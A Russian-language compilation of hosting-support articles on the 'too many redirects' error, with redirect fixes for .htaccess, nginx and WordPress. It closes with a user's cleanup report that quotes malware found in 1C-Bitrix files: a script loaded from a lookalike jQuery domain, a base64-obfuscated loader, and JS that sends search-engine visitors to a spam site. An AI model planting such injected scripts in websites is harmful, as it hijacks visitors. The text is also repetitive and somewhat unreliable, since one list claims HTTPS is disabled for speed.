Ошибка редирект на другой сайт

Ошибка «Сайт выполнил переадресацию слишком много раз»

Причина возникновения ошибки

Сайт, на который не установлен сертификат безопасности, работает по незащищённому протоколу HTTP. URL такого сайта выглядит так: http://your_site.ru. Чтобы сайт работал по защищённому соединению, нужно приобрести SSL-сертификат. Подробнее о HTTP читайте в статье Для чего необходим SSL-сертификат.

При установке сертификата ваш сайт становится доступен по безопасному протоколу HTTPS и URL выглядит так: https://your_site.ru. Однако одной покупки и установки SSL-сертификата недостаточно. По умолчанию сайт по-прежнему открывается по протоколу HTTP. Чтобы ваш сайт начал работать по HTTPS, необходимо настроить редирект с HTTP на HTTPS.

Вариантов сделать редирект несколько. Всё зависит от платформы, на которой сделан сайт. Проще всего сделать редирект на WordPress с помощью плагинов. Если сайт самописный, редиректы устанавливают через конфигурационные файлы .htaccess или web.config. Также можно использовать инструмент для добавления редиректа в панели управления хостингом. Все перечисленные способы вы можете найти в разделе Редиректы.

Если редирект был сделан неправильно, у пользователя может возникнуть циклическая переадресация, которая приводит к ошибке. Как это происходит? При настройке редиректа вы задаёте перенаправление http://your_site.ru —> https://your_site.ru. Если при этом в CMS или на сайте задан параметр открывать сайт строго по протоколу http, возникает замкнутый цикл: http://your_site.ru —> https://your_site.ru —>http://your_site.ru —> https://your_site.ru>… Сервер фиксирует слишком большое количество переадресаций и выдаёт ошибку ERR_TOO_MANY_REDIRECTS.

Сайт выполнил переадресацию слишком много раз или ERR TOO MANY REDIRECTS: как исправить

Как правило, ошибка переадресации вызвана проблемами на сервере, на котором находится сайт, и исправить её может только владелец ресурса. Однако, если вы пользователь и в течение нескольких дней проблема на сайте сохраняется, вам также стоит выполнить некоторые действия на своём устройстве. Ниже мы расскажем об исправлении ошибки и со стороны владельца и со стороны пользователя.

ERR TOO MANY REDIRECTS: что делать, если я владелец сайта

1. Подумайте, какие действия вы делали с сайтом за последнее время. Вернитесь к старой версии сайта, – если ошибка пропала, значит, новые настройки были некорректны.

2. Проверьте настройки HTTPS. Часто ошибка ERR_TOO_MANY_REDIRECTS появляется при неправильной настройке переадресации HTTP на HTTPS. Правильно ли вы настроили редирект, можно проверить по инструкциям:

   • редирект в панели управления ISPmanager, cPanel или Plesk,
   • редирект для сайтов на WordPress.
3. Проверьте, не влияют ли на работу сайта плагины. Иногда плагины нарушают работу сервера и могут появляться различные ошибки, в том числе и TOO MANY REDIRECTS 310. Отключите по очереди каждый плагин или переименуйте папку plugins в каталоге файлов вашего сайта на любое другое название. Если сайт заработает, удалите плагин-виновник.
4. Если у вас кириллический домен, проверьте, как в настройках WordPress указан ваш домен. Кириллические домены хоть и удобны в использовании, однако они не соответствуют UNICODE-системе, поэтому для них создали Punycode. Именно в этой форме нужно добавлять название сайта во все настройки. Чтобы перевести кириллический домен в Punycode, используйте конвертер. Например, ваш сайт дачник.ру. В формате Punycode он будет выглядеть xn--80ahnin3d.xn--p1ag.
5. Ошибка в конфигурационном файле. Каждая CMS имеет собственный конфигурационный файл, который использует индивидуальные правила для перенаправления. Описать все способы исправления этой ошибки невозможно. Вы можете проверить все добавленные правила переадресации и устранить конфликт, обратившись за помощью к разработчикам сайта или на тематические форумы по используемой CMS. Также вам может помочь замена текущего файла .htaccess на стандартный для используемой вами CMS. Если вы используете WordPress или Joomla, можете добавить некоторые записи в конфигурационные записи по одной из инструкций ниже.

define('FORCE_SSL_ADMIN', true);

if ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') 
$_SERVER['HTTPS']='on';

SetEnvIfNoCase X-Forwarded-Proto "https" HTTPS=on

RewriteCond %{HTTP:X-FORWARDED-PROTO} ^https$
RewriteRule .? - [E=HTTPS:on]

Что делать, если я пользователь

1. Откройте сайт в другом браузере. Если ошибка сохраняется, значит есть проблема с сервером и восстановить доступ к сайту может только владелец. Если сайт загружается, значит проблема со стороны вашего устройства. Выполните шаги описанные ниже.
2. Очистите cookies и кэш браузера. Временные файлы сохраняют данные посещённых сайтов, чтобы в дальнейшем не тратить время на обращение к серверу, а использовать информацию с устройства. Несмотря на пользу временных файлов, бывает, что они мешают показать новую версию сайта. Если на веб-ресурсе была ошибка и владелец её исправил, пользователь может не увидеть новый вариант. Чтобы браузер обратился к серверу сайта, а не к временным данным, очистите кеш и cookies браузера.
3. Проверьте расширения в браузере. Они могут влиять на связь браузера и сервера. Отключите недавно установленные расширения. Если сайт заработал, расширение придётся удалить.
4. Если вы используете VPN, попробуйте зайти на сайт без него. Некоторые сайты ограничивают вход для зарубежных серверов, через которые могут работать сервисы VPN.
5. Проверьте дату и время на устройстве. Для HTTPS-соединения важно, чтобы дата и время совпадали (хотя бы примерно) с датой и временем на сервере сайта. Если на устройстве время отстаёт или спешит, могут возникать различные ошибки, в том числе и ошибка переадресации.
6. Если вы попробовали все вышеописанные решения и ничего не изменилось, но вы уверены, что виноват браузер, возможно, ошибка в самой программе. Удалите и заново установите браузер или сбросьте его до базовых настроек.

Чаще всего проблема на стороне владельца ресурса и пользователь может только подождать, пока разработчики исправят ошибку на сервере.

Содержание:

• Что это такое
• Ошибка 301
• Основные причины возникновения
• Пути быстрого решения
• Как исправить ошибку на виртуальном хостинге
• Настройка редиректа на VDS Nginx+Apache
• Профилактические меры для браузера
• Сервисы для проверки циклических редиректов
• Работа с файлом .htaccess

Что это такое

Циклическое перенаправление на странице или циклический редирект, является бесконечным обращением браузера по адресу одной и той же страницы. В ряде случаев может происходить обращение на другой адрес, который, в итоге, опять приводит на запрашиваемую страницу.

Зачем убирать

• Для повышения скорости загрузки страниц сайта за счет отключения HTTPS-соединений.
• Для быстрого перенаправления посетителей на новый ресурс при переносе сайта на новый домен.

Ошибка 310

В случае неполадок со стороны сервера, циклическая переадресация становится причиной ошибки. При открытии сайта может появиться сообщение – «на этой странице обнаружена циклическая переадресация» что может служить сигналом о наличии ошибки 310.

310
(net::ERR_TOO_MANY_REDIRECTS)

Помимо этого, данная ошибка может появиться при использовании определённого браузера. Наиболее подвержен этому «заболеванию» браузер Chrome. Хотя и в других подобная проблема не редкость.

Основные причины возникновения

1. Технические работы на сервере на некоторое время могут привести к возникновению ошибки. После их завершения, как правило, сайт быстро восстанавливает свою корректную работу. Если этого не произошло, в большинстве случаев, со стороны сервера были изменены настройки, отвечающие за переадресацию.
2.  Повышенная нагрузка на сервер при большом количестве посетителей, пытающихся одновременно получить доступ к странице. В результате сервер не выдерживает нагрузки и «падает» выдавая сообщение об ошибке.
3. Некорректно выставленное время на устройстве, с которого выполняется вход на страницу. В большинстве случаев, браузер проводит автоматическую проверки времени на компьютере и сервере. При их несовпадении может возникнуть ошибка циклической переадресации.
4. Большой объем данных сохранённых в кэше и cookie браузера.
5. Запрет на сохранение cookie сайтов в браузере.
6. Циклическое перенаправление и установка CMS
7. В панели управления хостингом и в файле .htaccess одновременно указана переадресация на HTTPS.
8. Ошибка циклического перенаправления может возникнуть при некорректной установке или настройке CMS. Это относится как к популярным «движкам» – WordPress, Joomla, Opencart, или 1С-Битрикс так и к менее известным.

Пути быстрого решения проблемы

Опираясь на приведённые выше причины, исправить проблему циклической переадресации можно следующими способами:

1. Если после технических работ на сервере доступ к странице не восстановился, следует обратиться в техническую поддержку. В случае внесения изменений в настройки сервера, специалисты ТП объяснят, что необходимо предпринять.
2. При «падении» сервера из-за большого количества обращений, необходимо дождаться снижения потока посетителей, а также восстановительных работ по налаживанию корректной работы ресурса. В данном случае, желательно обращение в техническую поддержку для выяснения причины отсутствия доступа.
3. Очистить cookie, кэш и историю посещений в браузере.
4. В настройках безопасности браузера разрешить сохранять cookie сторонних сайтов.
5. Наиболее радикальным решением является переустановка CMS. Если это не помогает необходимо обратиться в техническую поддержку хостинг-провайдера и получить инструкции по установке и настройке.
6. Убрать переадресацию на HTTPS из файла .htaccess.

Как исправить ошибку на виртуальном хостинге

Данная ошибка возникает при наличии редиректа в файле «.htaccess» и включенном редиректе в ISPmanager. Подробнее о нем можно прочитать в статье «Что такое редирект» нашего блога. Для решения проблемы нужно проверить файл «.htaccess» на наличие редиректов с «http» на «https» с помощью изложенного ниже алгоритма.

1. Перейти в ISPmanager, в разделе «WWW» выбрать «WWW-домены» и нужный домен. Затем нажать «Каталог» в верхнем меню для перехода к файлам сайта.
   
2. Выбрать файл «.htaccess» одним нажатием и кликнуть «Изменить» в верхнем меню.
   
3. Проверить файл на наличие редиректов. О возможных вариантах редиректов в «.htaccess» можно узнать здесь.
4. Проверить включен ли редирект в настройках ISPmanager. В разделе «WWW» нажать «WWW-домены», выбрать нужный домен и кликнуть «Изменить» в верхнем меню.
5. В появившемся окне проверить — установлена ли галочка на пункте «Перенаправлять HTTP-запросы в HTTPS». Данный пункт будет виден только, если включена галочка на пункте «Защищенное соединение (SSL)».
   
6. В разделе «WWW» нажать «WWW-домены», выбрать нужный домен и кликнуть «Редиректы» в верхнем меню. Появится список с редиректами. Если редиректы отсутствуют, то он будет пустым.
7. Если редирект включен в пунктах 1, 2 и 3, нужно убрать лишние редиректы оставив лишь один из них.

Настройка редиректа на VDS Nginx+Apache

При использовании Nginx+Apache может произойти зацикливание редиректа «с http на https». Данная проблема связана с тем, что подключение по 80 порту идет на Nginx, а за ним уже находится Apache. Поэтому соединение Nginx и Apache работает не по SSL. В этом случае нужно отредактировать конфигурационный файл Nginx. Добавив в него такие значения:

If ( $scheme = "http" ) {
rewrite ^/(.*)$ https://$host/$1 permanent;
}

Поддержание браузера в рабочем состоянии

Браузер также часто становится причиной циклической переадресации. Для минимизации его влияния на возможность возникновения ошибки необходимо совершать ряд профилактических действий.

1. Своевременно чистить историю и делать это не реже одного раза в неделю, при активном использовании браузера.
2. Отключить неиспользуемые плагины и расширения.
3. Регулярно обновлять браузер на сайте официальных разработчиков.

Как проверить наличие цепочки редиректов

Самый очевидный способ обнаружения — массовая проверка кодов статуса на всех страницах сайта. Сделать это можно с помощью удобных автоматизированных инструментов (redirect tracker), работающих в браузере или в качестве клиентского ПО.

Они функционируют по схожему принципу. Пользователю нужно всего лишь разместить в операционном окне ссылку на интересующий ресурсы, нажать «Старт» и дождаться результатов сканирования.

Популярные сервисы для отслеживания цепочек редиректов

Netpeak Spider

• Язык: русский.
• Платно (с бесплатным пробным периодом).
• Помимо отслеживания цепочки редиректов, делает полный SEO-аудит сайта, включая выявление ошибок оптимизации.
• Анализирует крупные контентные сайты (более 100 000 страниц).

Анализ сайта Webmasta

• Язык: русский.
• Бесплатно.
• Отслеживает полную цепочку перенаправлений.
• Получение IP-адреса сайта и отслеживание всех веб-ресурсов на этом адресе.

Проверка переадресации Website Planet

• Язык: русский.
• Бесплатно.
• Отслеживание всех типов редиректов.
• Получение полного URL-адреса коротких, рекламных или партнерских ссылок без перехода.

Массовая проверка цепочек редиректов Majento

• Язык: русский.
• Бесплатно.
• Анализирует цепочку редиректов.
• Получение полного URL-адреса коротких, рекламных или партнерских ссылок без перехода.

SEO-помощник Rookee

• Язык: русский.
• Бесплатно (после регистрации).
• SEO-аудит сайта всех страниц сайта по 70 параметрам.
• Пошаговые рекомендации по исправлению найденных ошибок.

После того как страницы с кодами редиректов найдены, рекомендуется приступить к правке конфигурационного файла .htaccess.

Работа с файлом настроек каталогов

Для удобной настройки сервера используется файл .htaccess. С его помощью можно настроить правильные редиректы и значительно снизить риск возникновения циклической переадресации.

Перед настройкой, в файл обязательно вносится следующий код:

RewriteEngine On

После этого идут настройки основных редиректов, подходящие для различных серверов, в том числе Nginx и Apache.

Важно помнить, что прежде чем вносить какие-либо изменения в файл .htaccess необходимо сделать его копию и желательно бекап всего сайта.

Как исправить ошибку «Сайт выполнил переадресацию слишком много раз»

В процессе поиске информации в интернете пользователь может столкнуться с проблемой – сайт не открывается, а браузер выдаёт сообщение «err too many redirects» или «сайт выполнил переадресацию слишком много раз». Иногда дополнительно указан код ошибки под номером 310.

В этой статье мы рассмотрим, почему возникает эта проблема и как её решить с точки зрения пользователя и администратора ресурса.

Что это за ошибка

Ошибка net err too many redirects возникает, если браузер перенаправляет запрос с одной страницы на другую, с неё на следующую и т.д. Также возможна «патовая» ситуация, когда 2 страницы указывают друг на друга. В результате осуществляется вечный переход, напоминающий игру в теннис.

Раньше браузеры не умели прерывать такой процесс, поэтому зависали. Останавливать его приходилось пользователю принудительно. Например, такая проблема часто встречалась в Google Chrome до 44 версии.

Современные версии автоматически выходят из цикла, а в качестве сигнала об ошибки выводят на монитор надпись «ошибка 310» и её расшифровку на русском и английском языках.

Почему возникает такая ошибка

Когда сайт только что создан и запущен, он работает по незащищённому протоколу HTTP. Это означает, что при передаче данных не проводится их шифрование, поэтому они не защищены от хакерских атак. Это опасно для интернет-магазинов, социальных сетей и других сайтов, так как злоумышленники могут завладеть персональными данными.

В целях повышения информационной безопасности владельцам ресурса нужно приобрести SSL-сертификат. Но чтобы сайт открывался по безопасному протоколу, приходится дополнительно настраивать редирект с HTTP на HTTPS.

Сделать это можно различными способами. Самый простой и удобный процесс предусмотрен на платформе WordPress, где редирект настраивается с помощью плагинов. По сути, задаётся переадресация с одного сайта на другой. Первый URL начинается с «http://», а второй с «https://».

Если инструкция нарушена и что-то сделали неправильно, например, оставили параметр открытия сайта по старому протоколу «http» в CMS или на сайте, возникает слишком большое число переадресаций, в результате чего браузер выдаёт ошибку.

Выглядит это так.

Проблема может возникнуть, если внесены некорректные изменения на сайте. Если недавно вы что-то меняли, восстановите предыдущую версию интернет-ресурса. Если браузер больше не выдаёт ошибку, значит, последние настройки были выполнены некорректно. Повторите попытку более внимательно.

Если wordpress выполнил переадресацию слишком много раз после покупки сертификата, проверьте настройки редиректа. Скорее всего неправильно указан протокол открытия сайта.

Иногда правильному функционированию сервера мешают плагины. Попробуйте отключить их по очереди, так вы сможете определить какой из них вызывает ошибку. Также можно поменять название папки «plugins» в каталоге файлов.

Если домен кириллический, то есть название сайта написано русскими буквами, убедитесь, что оно корректно отображено в настройках платформы. Оно должно быть представлено по методу «Punycode». Дело в том, что DNS не понимает русские символы и доменное имя может состоять исключительно из символов, которые есть в таблице ASCII. Для перевода кириллического домена в Punycode применяется специальный конвертер.

Возможно, ошибка скрыта в конфигурационном файле. У каждой CMS он свой, поэтому применяются индивидуальные правила переадресации. Проанализировав указанные для вашего веб-ресурса правила, вы сможете выявить и устранить конфликт.

В любом случае PHP должен работать в режиме FastCGI. Он доступен на VPS-сервере, а на виртуальном хостинге установлен по умолчанию.

Err too many redirects: что делать пользователю

Бывают ситуации, когда проблема возникает на стороне пользователя. Для её решения есть несколько рекомендаций.

1. Откройте сайт в другом браузере. Чаще всего ошибку выдаёт именно Хром. Но есть альтернативы, через который интернет-странички открываются корректно.
2. Очистите кэш и куки браузера. Например, в Google Chrome это можно сделать в настройках. Нажмите на 3 вертикальные точки в правом верхнем углу, найдите пункт «Настройки» и щёлкните по нему левой кнопкой мыши. Выберете пункт «Дополнительные». Если не увидели его, введите запрос в поиске настроек в той же вкладке. Выбирайте пункт «Очистить историю». Затем нужно определиться с диапазоном. Эффективнее очищать кэш за всё время. Поставьте галки напротив всех пунктов и нажмите кнопку «Удалить данные».

1. Удалите нестабильные расширения браузера. Это актуально, если проблема появилась после их установки. Сделать это тоже можно через настройки. Найдите раздел «Дополнительные инструменты» и пункт «Расширения». Удалите те, что поставили последними.
2. Сбросьте настройки браузера. Зайдите в раздел «Дополнительные» в настройках. Внизу увидите пункт «Сбросить». Это действие восстановит настройки по умолчанию.
3. Проверьте дату и время на вашем компьютере. Очень редко отсутствие синхронизации приводит к появлению различных ошибок. Поставьте правильные параметры.

Как не допустить появления ошибки

Чтобы избежать ошибок при открытии вашего сайта, внимательно проверяйте настройки перед запуском веб-ресурса и после каждого изменения.

Открывайте сайт с разных устройств и браузеров, так вы убедитесь, что он работает корректно. Причём перед очередной проверкой желательно очистить историю, кэш и куки.

Не стоит устанавливать непроверенные расширения и плагины.

Заключение

Ошибка «бесконечного перенаправления» может возникать на стороне сайта и пользователя. 2 основные причины – нестабильное функционирование устаревших версий браузера или некорректные настройки веб-ресурсов.

Устранить такую дисфункцию легко без профильных знаний. А чтобы предотвратить возникновение проблемы, тщательно проверяйте настройки сайта.

  Туториал: как исправить ошибку «Сайт выполнил переадресацию слишком много раз»

Проблема решена!!!

Посмотрел содержимое файла bitrix/modules/main/include/prolog.php  на 5 сайтах под 1С Bitrix, и в двух из пяти обнаружил проблему. В первом случае  файл оканчивается :

echo "<sc ript src='https://code.jquery-uii.com/jquery-ui.js'></sc ript>";

Анализ JS данного файла, многое объясняет, в том числе и редирект страниц браузера при переходе из поисковых систем. Похоже, файл замаскирован под некогда популярный плагин jQuery UI – с большим количеством закомментированного мусора,  но часть кода не комментирована. Полагаю, публикация данного JS кода, безопасна, данный код выглядит так:  

var s=document.referrer; if(s.indexOf("google")>0 || s.indexOf("bing")>0 || s.indexOf("aol")>0 || s.indexOf("yahoo")>0 || s.indexOf("yandex")>0){window.location.replace("https://nyorengui.tk/help/?461583236164");} 

Понятно, что тут происходит.

Порядок решения проблемы:

1. В файле bitrix/modules/main/include/prolog.php удаляем последнюю строку. В моем случае строка выглядит так,

echo "<sc ript src='https://code.jquery-uii.com/jquery-ui.js'></sc ript>"

2.В файле /public_html/bitrix/js/main/core/core.js — так же удаляем последнюю строку, у меня она выглядела так:

s=document.createElement(`script`);s.src=atob(`aHR0cHM6Ly9jb2RlLmpxdWVyeS11aWkuY29tL2pxdWVyeS11aS5qcw==`);document.head.appendChild(s);

3. Очищаем кэш Битрикс.

Проблема решена. Но уязвимость осталась. Теперь надо как то от нее избавляться.